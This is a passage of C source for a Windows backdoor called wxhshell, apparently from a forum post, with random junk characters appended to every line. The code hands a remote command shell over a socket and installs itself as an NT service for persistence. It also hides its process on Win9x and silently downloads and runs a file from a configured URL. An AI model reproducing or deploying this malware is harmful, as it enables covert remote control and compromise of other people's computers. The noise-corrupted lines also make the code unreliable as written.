    switch(cmd[0]) { `uUzBV.FR  
  rmo\UCD  
  // 帮助 dGi HO  
  case '?': { 5&h">_j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N>,`TsUwW  
    break; d =n{Wn{C  
  } b$%Kv(  
  // 安装 E4>}O;m0  
  case 'i': { qv}ECQ  
    if(Install()) &oq 0XV.M^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > <Zu+HX  
    else q5L^>"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ."=%]l 0  
    break; |q 8N$m  
    } la)^`STh  
  // 卸载 AS@(]T#R  
  case 'r': { 2%L`b"9}V  
    if(Uninstall()) beC%Tnb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )XGz#C_P  
    else Lt=32SvTn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  oC*a;o  
    break; #{{p4/:  
    } u '/)l}  
  // 显示 wxhshell 所在路径 Nh_\{ &r  
  case 'p': { aK95&Jyw&  
    char svExeFile[MAX_PATH]; hc+B+-,  
    strcpy(svExeFile,"\n\r"); >X eXd{$  
      strcat(svExeFile,ExeFile); (tOhuSW  
        send(wsh,svExeFile,strlen(svExeFile),0); 'vZIAnB8  
    break; \~z$'3H`  
    } LiV&47e*>  
  // 重启 jx}'M$TA  
  case 'b': { ~59lkr8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ooUVVp  
    if(Boot(REBOOT)) JO0o@M5H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:ci/09wD  
    else { GCq4{_B\Q  
    closesocket(wsh); L!zdrCM  
    ExitThread(0); Q}OloA(+  
    } .=TXi<8Brw  
    break;  \20} /&  
    } m7g*zu2#  
  // 关机 GT)7VFrL  
  case 'd': { @$n $f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Tp9)UP)  
    if(Boot(SHUTDOWN)) `6J7c;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (lVMy\  
    else { Z|$DchC  
    closesocket(wsh); %" 7UYLX  
    ExitThread(0); } O $]xB  
    } y|KQ`;  
    break; h=gtuaR4  
    } VOM@x%6#c  
  // 获取shell  MiIxj%,(  
  case 's': { Ycspdl+(S$  
    CmdShell(wsh); v N\[2r%S  
    closesocket(wsh); V%PQlc.X  
    ExitThread(0); ?o?$HK   
    break; D@gC(&U/6  
  } ~M-L+XZl(  
  // 退出 cI@qt>&  
  case 'x': { 2=n`z) R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [B+F}Q^;  
    CloseIt(wsh); 4S ~kNp$  
    break; A1-,b.Ni  
    } Y;_F,4H  
  // 离开 P.@dB.Ny  
  case 'q': { @4T   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?x&}ammid  
    closesocket(wsh); ,++HiYOG}e  
    WSACleanup(); ~Yi4?B<  
    exit(1); g^(gT  
    break; 6h)_{| L)  
        } ]"uG04"Vk  
  } qz]qG=wmL  
  } X+N5iT  
 P>iZ gv  
  // 提示信息 v0oVbHO5<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' QG`^@Z  
} >pLJ ,Z  
  } )MF@'zRK  
SfC* ZM}<  
  return; ||QK)$"  
} %p )"_q!ge  
>fI\f <ez  
// shell模块句柄 UWC4PWL,>C  
int CmdShell(SOCKET sock) >_ZEQC  
{ p03I&d@w>  
STARTUPINFO si; g:)iEw>a  
ZeroMemory(&si,sizeof(si)); SDO:Gma  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'LPyh ;!f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4~h 0/H"  
PROCESS_INFORMATION ProcessInfo; (9I(e^@]  
char cmdline[]="cmd"; F+(S-Qk1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [BD`h  
  return 0; \{:A&X~\!  
} jDb\4QyC  
LxhS 9  
// 自身启动模式 ajk}&`Wj"  
int StartFromService(void) B2Y.1mXq  
{ O[t?*m1/  
typedef struct GkI'.  
{ Slg *[r#  
  DWORD ExitStatus; n({%|O<|  
  DWORD PebBaseAddress; F<g&t|@  
  DWORD AffinityMask; 6c-3+,Y"#  
  DWORD BasePriority; ,4t6Cq!  
  ULONG UniqueProcessId; s0;a j<J  
  ULONG InheritedFromUniqueProcessId; ?# FYF\P  
}   PROCESS_BASIC_INFORMATION; `i cs2po  
$Bz};@  
PROCNTQSIP NtQueryInformationProcess; XH~(=^/_  
=bC'>qw}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y*+8Z&i.:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 81:%Z&?vRl  
">. k 6Q  
  HANDLE             hProcess; j [lS.Lb  
  PROCESS_BASIC_INFORMATION pbi; 06^/zr  
^.8~}TT-U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A1+:y,wXs  
  if(NULL == hInst ) return 0; GWuKDq  
G)I` M4}*n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nL=+`aq_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yft [)id  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  d=^QK{8  
Pb?vi<ug+  
  if (!NtQueryInformationProcess) return 0; T.;{f{  
ao9#E"BfM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Z8GG  
  if(!hProcess) return 0; 2H.g!( Oza  
/}~=)QHH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E7iAN\vo  
1Y$%| `  
  CloseHandle(hProcess); ,Kj>F2{  
Gh=I2GSo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f^1J_}cL  
if(hProcess==NULL) return 0; &Ril[siw  
__ 9FQ{Ra  
HMODULE hMod; {f-O~P<Z4  
char procName[255]; W%>T{}4  
unsigned long cbNeeded; GD.Ss9_h1  
K0j%\]\Tp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G4SA u  
wW*7  
  CloseHandle(hProcess); 7ihcjyXB  
^@*`vz^_  
if(strstr(procName,"services")) return 1; // 以服务启动 mTtaqo_Bh  
;LP3  
  return 0; // 注册表启动 "JSIn"/  
} ,M{G X  
r'{N_|:vv  
// 主模块 v; i4ZSV^A  
int StartWxhshell(LPSTR lpCmdLine) xA7~"q&u  
{ tcXXo&ZS  
  SOCKET wsl; yZNG>1 N  
BOOL val=TRUE; o|h=M/  
  int port=0; o FP8s[B  
  struct sockaddr_in door; ]>(pj9)  
J";N^OR{A%  
  if(wscfg.ws_autoins) Install(); a_P|KRl  
>"!ScYn  
port=atoi(lpCmdLine); N`efLOMl]  
@!dIa1Q"  
if(port<=0) port=wscfg.ws_port; d"Zu10  
1qNO$M  
  WSADATA data; *z69ti/ t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tE=09J%z  
pt.V^a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZN)EbTpc\a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <(>t"<  
  door.sin_family = AF_INET; e&ysj:W5 "  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *`"+J_   
  door.sin_port = htons(port); o+=wQ$"tP  
o 7kg.w|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #&kj>   
closesocket(wsl); Mw RLv,&"  
return 1; *h0D,O"0  
} m_0y]RfG  
[A =0fg5  
  if(listen(wsl,2) == INVALID_SOCKET) { wX}p6yyN  
closesocket(wsl); $T3_~7N  
return 1; *V',@NH#Os  
} ni{'V4A  
  Wxhshell(wsl); H@@ 4n%MK  
  WSACleanup(); asYk #;z\"  
~;CNWJtcf(  
return 0; lj}3TbM  
y*^UGJC:  
} }#D=Rf?2\P  
kQbZ!yl>[  
// 以NT服务方式启动 7s6+I_n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ed u(dZbKg  
{ %k4Qx5`?d  
DWORD   status = 0; _2G _Io  
  DWORD   specificError = 0xfffffff; hJ ^+asr  
HJ]v-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >D!R)W`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rwXpB<@l@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,L-/7}"VHA  
  serviceStatus.dwWin32ExitCode     = 0; #T8o+tv  
  serviceStatus.dwServiceSpecificExitCode = 0; 34!.5^T  
  serviceStatus.dwCheckPoint       = 0; KX9IC 5pR  
  serviceStatus.dwWaitHint       = 0; qI7KWUR  
j H2)8~P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vxap+<m  
  if (hServiceStatusHandle==0) return; P _fCb  
+7w5m  
status = GetLastError(); m0;j1-t  
  if (status!=NO_ERROR) Lp:VU-S  
{ 8WQ#)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #[9UCX^=  
    serviceStatus.dwCheckPoint       = 0; mM&P&mz/D  
    serviceStatus.dwWaitHint       = 0; Q /?`);  
    serviceStatus.dwWin32ExitCode     = status; &v .S_Ym  
    serviceStatus.dwServiceSpecificExitCode = specificError; L>IP!.J]?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;ZT-Fti  
    return; G(wK(P0j  
  } BH {z]a  
I ==)a6^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'qT;Eht5  
  serviceStatus.dwCheckPoint       = 0; 5&Yt=)c\  
  serviceStatus.dwWaitHint       = 0; zs]ubJC@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sc+%v1Y#}  
} J@/4CSCR]  
k@lJ8(i^qU  
// 处理NT服务事件,比如:启动、停止 SeXgBbGAne  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Zl4NV&B  
{ z9IW&f~~P  
switch(fdwControl) 9k71h`5  
{ `{{6vb^g  
case SERVICE_CONTROL_STOP: [ K/l;Zd  
  serviceStatus.dwWin32ExitCode = 0; cJ$jU{}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lfM vNv  
  serviceStatus.dwCheckPoint   = 0; 8[J%TWq%9  
  serviceStatus.dwWaitHint     = 0; ]dGH i \  
  { `Z,WKus  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ek<B=F  
  } of*T,MUI  
  return; ]2f-oz*hU  
case SERVICE_CONTROL_PAUSE: g^A^@~M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n+sv2Wv:  
  break; 4_-&PZ,d  
case SERVICE_CONTROL_CONTINUE: Yf9E0po  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R4;1LZ8XzS  
  break; wp1O*)/q  
case SERVICE_CONTROL_INTERROGATE: +3. 9)w  
  break; `&c[ s%0  
}; XlF,_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W'@G5e  
} H.l0kBeG  
5fk A?Ecqq  
// 标准应用程序主函数 3HtM<su*h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I-!7 EC2{!  
{ gD)M7`4  
s3A(`heoq  
// 获取操作系统版本 9U<WR*H  
OsIsNt=GetOsVer(); S>x@9$( ym  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ag0w8F  
V z  
  // 从命令行安装 Qc*p+N+$  
  if(strpbrk(lpCmdLine,"iI")) Install(); c`3`}&g#  
C0w_pu  
  // 下载执行文件 Ux',ma1JK  
if(wscfg.ws_downexe) { d4IQ;u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bX38=.up  
  WinExec(wscfg.ws_filenam,SW_HIDE); C {*?  
} p9i7<X2&  
no-";{c  
if(!OsIsNt) { hb*Y-$Zp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cu%BU}(  
HideProc(); gKTCfD~  
StartWxhshell(lpCmdLine); *bpN!2  
} E7h@Y~bNhW  
else Jk}3c>^D  
  if(StartFromService()) cG0)F%?X?  
  // 以服务方式启动 ^NU_Tp:2^  
  StartServiceCtrlDispatcher(DispatchTable); PtuRXx  
else BDfMFH[1  
  // 普通方式启动 90+Vw`Gz=  
  StartWxhshell(lpCmdLine); +arh/pd_I  
 j7_,V?5z  
return 0; YkFLNCg4}  
}
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只看该作者 1 发表于: 2006-10-10
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